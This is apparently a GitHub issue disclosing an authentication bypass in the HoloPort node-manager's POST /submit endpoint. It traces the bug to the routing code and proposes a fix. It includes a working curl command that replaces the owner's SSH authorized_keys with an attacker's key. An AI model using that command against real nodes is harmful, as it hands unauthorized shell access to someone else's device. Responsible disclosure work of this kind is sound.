Skip to content

Security Disclosure: POST /submit auth bypass allows SSH key injection on already-onboarded HoloPort #3

@futurehelp

Description

@futurehelp

SECURITY DISCLOSURE -- HoloPort node-manager POST /submit Auth Bypass (SSH Key Injection)

The node-manager service on every deployed HoloPort (port 8080) accepts unauthenticated POST requests to /submit after the node is already onboarded. An attacker on the same network can overwrite the owner's SSH authorized_keys file and gain full shell access.

Root cause: src/main.rs routing table applies is_authenticated to every management route except POST /submit. There is no state.onboarded guard either. write_ssh_keys at line 195 overwrites (not appends) the entire authorized_keys file.

Attack (one command, no auth):

curl -X POST http://<holo-node-ip>:8080/submit \
  -H "Content-Type: application/json" \
  -d '{"nodeName":"victim-node","sshKey":"ssh-ed25519 AAAA<attacker-key>","hwMode":"STANDARD"}'

Returns {"status":"ok"} on an already-onboarded node. Legitimate owner's SSH keys erased. Attacker gets full shell on HoloPort.

Severity: P2 (High) on LAN, Critical if port 8080 is internet-exposed.

Recommended fix: Add if state.onboarded { return 403; } at the top of handle_submit.

Coordinated disclosure. Requesting 90-day window before publishing.

-- Independent security researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions